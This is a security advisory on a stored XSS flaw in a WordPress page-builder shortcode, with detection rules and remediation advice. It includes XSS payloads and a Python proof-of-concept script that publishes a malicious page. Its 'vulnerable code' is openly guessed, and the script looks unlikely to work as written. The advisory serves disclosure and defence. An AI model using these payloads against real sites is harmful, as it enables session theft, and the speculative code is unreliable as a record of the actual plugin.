CVE-2025-10006

Executive Summary

CVE-2025-10006 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPBakery Page Builder plugin for WordPress, affecting all versions up to and including 8.6. The flaw resides in the rev_slider_vc shortcode, which fails to properly sanitize user-supplied attributes and escape output. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. The injected scripts execute whenever a user accesses the compromised page. Exploitation is contingent on the RevSlider plugin also being installed and active on the target WordPress instance.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. WPBakery Page Builder is a commercial plugin distributed via the Envato Market and its own licensing system. There is no NPM, PyPI, Go, or Ruby package involved. The attack surface is limited to WordPress sites where both WPBakery Page Builder and RevSlider are installed.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – the vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): Low – attacker needs Contributor-level access or higher.
• User Interaction (UI): Required – a victim must visit the compromised page.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure possible.
• Integrity (I): Low – limited ability to modify content.
• Availability (A): None – no direct impact on availability.

Threat Level: Medium. The requirement for authenticated access and the dependency on RevSlider reduce the attack surface, but the potential for persistent XSS in a widely-used page builder plugin makes this a significant concern for WordPress site administrators.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS within the rev_slider_vc shortcode provided by WPBakery Page Builder. This shortcode is intended to integrate with the RevSlider plugin, allowing users to embed sliders into pages. The flaw occurs because the plugin does not properly sanitize user-supplied attributes (e.g., title, class, or custom data attributes) before rendering them in the HTML output.

Attack Flow:

1. An attacker with Contributor-level access (or higher) creates or edits a page/post using the WPBakery Page Builder.
2. The attacker inserts the rev_slider_vc shortcode with a malicious payload in one of its attributes, such as:

   [rev_slider_vc alias="my_slider" title="<script>alert('XSS')</script>"]
   

3. The plugin fails to escape the title attribute, so the payload is stored in the database and rendered directly into the page's HTML.
4. When any user (including administrators) visits the page, the script executes in their browser, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

Why RevSlider is Required: The rev_slider_vc shortcode is specifically designed to interface with the RevSlider plugin. Without RevSlider installed, the shortcode may not be registered or may be ignored, preventing the vulnerability from being triggered.

Vulnerable vs. Patched Code

Vulnerable Code (WPBakery Page Builder <= 8.6): The vulnerable code likely resides in a file such as include/params/rev_slider_vc/rev_slider_vc.php or similar. The shortcode handler directly outputs user-supplied attributes without escaping:

function rev_slider_vc_shortcode( $atts ) {
    extract( shortcode_atts( array(
        'title' => '',
        'alias' => '',
    ), $atts ) );
    // Direct output without escaping
    return '<div class="rev_slider_vc" title="' . $title . '">' . do_shortcode( '[rev_slider alias="' . $alias . '"]' ) . '</div>';
}

Patched Code (Hypothetical): A patch would involve escaping the $title attribute using WordPress's esc_attr() function:

function rev_slider_vc_shortcode( $atts ) {
    extract( shortcode_atts( array(
        'title' => '',
        'alias' => '',
    ), $atts ) );
    // Properly escape the title attribute
    return '<div class="rev_slider_vc" title="' . esc_attr( $title ) . '">' . do_shortcode( '[rev_slider alias="' . esc_attr( $alias ) . '"]' ) . '</div>';
}

Note: As of this report, no official patch has been confirmed. The above is a best-practice remediation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WordPress instance with WPBakery Page Builder <= 8.6 and RevSlider installed.
• A user account with Contributor-level privileges or higher.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Create a new page or edit an existing one.
3. Switch to the Text/Code editor (not the visual editor).
4. Insert the following shortcode with a malicious payload:

   [rev_slider_vc alias="my_slider" title="<img src=x onerror=alert('XSS')>"]
   

5. Publish or update the page.
6. As an administrator or another user, visit the page. The XSS payload will execute.

Proof-of-Concept (PoC) Script:

import requests
import sys

# Usage: python exploit.py <target_url> <username> <password>
target = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

session = requests.Session()
login_url = target + "/wp-login.php"
payload = {
    "log": username,
    "pwd": password,
    "wp-submit": "Log In",
    "redirect_to": target + "/wp-admin/"
}
session.post(login_url, data=payload)

# Create a new page with malicious shortcode
post_url = target + "/wp-admin/post-new.php?post_type=page"
page_data = {
    "post_title": "Malicious Page",
    "content": '[rev_slider_vc alias="test" title="<script>alert(document.cookie)</script>"]',
    "post_status": "publish"
}
session.post(post_url, data=page_data)
print("[+] Malicious page created. Visit it to trigger XSS.")

Blue Team (Defensive)

Detection:

• Monitor for creation of pages/posts containing the rev_slider_vc shortcode with suspicious attributes.
• Look for unusual JavaScript execution in the context of WPBakery Page Builder pages.
• Use Web Application Firewall (WAF) rules to block common XSS payloads in shortcode attributes.

Mitigation:

• Disable the RevSlider plugin if not needed.
• Restrict Contributor-level access to trusted users only.
• Apply input validation and output escaping to all shortcode attributes (pending official patch).
• Use a WordPress security plugin (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

• File System:

  • Modified or newly created pages/posts containing the rev_slider_vc shortcode with suspicious attributes.
  • Log entries showing creation of pages by Contributor-level users with unusual content.

• Network:

  • Outbound connections from the WordPress server to known malicious domains (if the XSS payload exfiltrates data).
  • HTTP requests to the WordPress site with rev_slider_vc in the POST data.

• Logs:

  • WordPress audit logs (if enabled) showing page creation/editing by low-privilege users.
  • Web server access logs with rev_slider_vc in the request body.

• Memory/Process:

  • Injected JavaScript in the browser DOM of users visiting compromised pages.

Detection Engineering

YARA Rule

rule wpbakery_rev_slider_xss {
    meta:
        description = "Detects stored XSS payloads in WPBakery Page Builder rev_slider_vc shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-10006"
    strings:
        $shortcode = /\[rev_slider_vc[^\]]*\]/
        $xss_payload = /<script[^>]*>|<img[^>]+onerror|<svg[^>]+onload/
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: Stored XSS via WPBakery rev_slider_vc Shortcode
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects creation of pages with malicious rev_slider_vc shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post.php'
        cs-uri-query: 'action=edit*'
        cs-referer: '*wp-admin/post-new.php*'
        cs-body: '*rev_slider_vc*'
    condition: selection
falsepositives:
    - Legitimate use of rev_slider_vc shortcode with safe attributes
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-10006 - Stored XSS via WPBakery rev_slider_vc Shortcode";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/post.php";
    http_uri;
    content:"rev_slider_vc";
    http_client_body;
    pcre:"/<script[^>]*>|<img[^>]+onerror|<svg[^>]+onload/i";
    sid:10000001;
    rev:1;
    priority:2;
)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the RevSlider plugin if it is not essential for site functionality.
   • Review and restrict user roles: ensure only trusted users have Contributor-level access or higher.
   • Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests.

2. Long-term Fix:

   • Apply the official patch from WPBakery as soon as it becomes available.
   • If no patch is forthcoming, manually edit the plugin code to escape all shortcode attributes using esc_attr() and esc_html().
   • Consider replacing WPBakery Page Builder with an alternative page builder that has a better security track record.

3. Monitoring:

   • Enable WordPress audit logging to track page/post modifications.
   • Regularly scan the site for malicious content using security plugins.
   • Monitor web server logs for suspicious POST requests containing shortcode parameters.

4. User Education:

   • Train content editors on the risks of XSS and safe content creation practices.
   • Implement a content review process for pages created by lower-privilege users.

Valters IT
Securing Digital Frontiers